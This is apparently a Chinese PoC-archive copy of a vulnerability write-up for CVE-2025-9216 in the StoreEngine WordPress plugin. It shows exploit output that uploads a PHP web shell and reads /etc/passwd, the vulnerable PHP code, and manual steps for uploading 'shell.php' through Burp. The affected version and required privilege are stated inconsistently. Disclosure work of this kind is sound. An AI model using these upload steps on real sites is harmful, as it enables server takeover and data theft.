关联漏洞
标题:
WordPress plugin StoreEngine 代码问题漏洞
(CVE-2025-9216)
描述:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin StoreEngine 1.5.0及之前版本存在代码问题漏洞,该漏洞源于import函数缺少文件类型验证,可能导致任意文件上传和远程代码执行。
描述
StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.4.0 - Authenticated (Subscriber+) Arbitrary File Upload
介绍
# StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.4.0 - Authenticated (Subscriber+) Arbitrary File Upload
The [StoreEngine](https://wordpress.org/plugins/storeengine/) plugin contains a vulnerability in it's CSV Import/Export feature that allows **any authenticated user** (subscriber, author, editor, etc.) to upload arbitrary files and gain remote code execution. The vulnerability stems from two security flaws: (1) the CSV import endpoint lacks proper file validation checks, permission checks, and only relies on nonce verification for security, and (2) the `storeengine_nonce` is exposed to **ALL frontend users** through the plugin's JavaScript. This combination allows any authenticated user to extract the nonce from frontend pages and use it to upload PHP web shells via the `storeengine_csv/import` endpoint, effectively granting subscriber+ users the ability to execute arbitrary code on the server.
## TL;DR Exploits
* A POC [CVE-2025-9216.py](./CVE-2025-9216.py) is provided to demonstrate an administrator uploading a web shell named `omg.php`.
```console
python3 ./CVE-2025-9216.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: ff15beb1bd
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
Uploading web shell: omg.php
File upload response: {"success":true,"data":{"filename":"omg.php"}}
Web Shell At: http://localhost:1337/wp-content/uploads/storeengine_uploads/csv/omg.php
Executing test command: cat /etc/passwd
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>
```
## Details
### **Vulnerable File Upload Function**
The `storeengine_csv/import` AJAX action calls the `import()` function on line [51](https://plugins.trac.wordpress.org/browser/storeengine/trunk/addons/csv/ajax/import.php#L51) of `/wp-content/plugins/storeengine/addons/csv/ajax/import.php`, which lacks proper permission checks and file type validation:
```php
public function import() {
if ( ! isset( $_FILES['file'] ) ) {
wp_send_json_error( 'No file uploaded.' );
}
$file = $_FILES['file'];
$folder = Helper::get_upload_dir() . '/csv/';
if ( ! file_exists( $folder ) ) {
wp_mkdir_p( $folder );
}
$filename = sanitize_file_name( $file['name'] );
$target = trailingslashit( $folder ) . $filename;
if ( ! move_uploaded_file( $file['tmp_name'], $target ) ) {
wp_send_json_error( 'Failed to move uploaded file.' );
}
wp_send_json_success( [
'filename' => $filename,
] );
}
```
The function only uses `sanitize_file_name()` to clean the filename but does not perform any file type validation or capability checks. This allows uploading any file type, including PHP files that can be executed by the web server.
### **Nonce Exposure Vulnerability**
The `storeengine_nonce` is exposed to **ALL frontend users** through the plugin's JavaScript. This occurs in the `_get_script_data()` method on line [279](https://plugins.trac.wordpress.org/browser/storeengine/trunk/includes/assets.php#L279) of `/wp-content/plugins/storeengine/includes/assets.php`:
```php
public function _get_script_data(): array {
// ... other data ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
'rest_url' => esc_url_raw( rest_url() ),
// ... other data ...
];
}
```
This nonce is then localized to frontend JavaScript via the `frontend_scripts()` method on line [120](https://plugins.trac.wordpress.org/browser/storeengine/trunk/includes/assets.php#L120):
```php
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Calls _get_script_data()
);
```
### **Nonce Verification**
The nonce is verified in the `AbstractRequestHandler::check_permission()` method on line [510](https://plugins.trac.wordpress.org/browser/storeengine/trunk/includes/classes/abstract-request-handler.php#L510) of `/wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php`:
```php
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
```
This combination allows any authenticated user to upload arbitrary files, including PHP web shells for remote code execution.
## Manual Reproduction
1. Login to the admin panel and navigate to the StoreEngine plugin.
2. Go to the CSV Import section (if available in the admin interface).
3. Start up Burp Suite or a similar tool and begin intercepting the traffic.
4. Attempt to upload a file and intercept the `POST` request to `/wp-admin/admin-ajax.php` calling the `storeengine_csv/import` action.
5. Modify the request to include an arbitrary file, in the example below we're uploading a PHP web shell.
6. Send the request and receive `{"success":true,"data":{"filename":"shell.php"}}`.
7. Browse the web shell at `https://example.com/wp-content/uploads/storeengine_uploads/csv/shell.php` and execute code.
文件快照
[4.0K] /data/pocs/639c3f7233e67067d7e87d5f6ecc10bf39e64374
├── [6.2K] CVE-2025-9216.py
└── [6.3K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。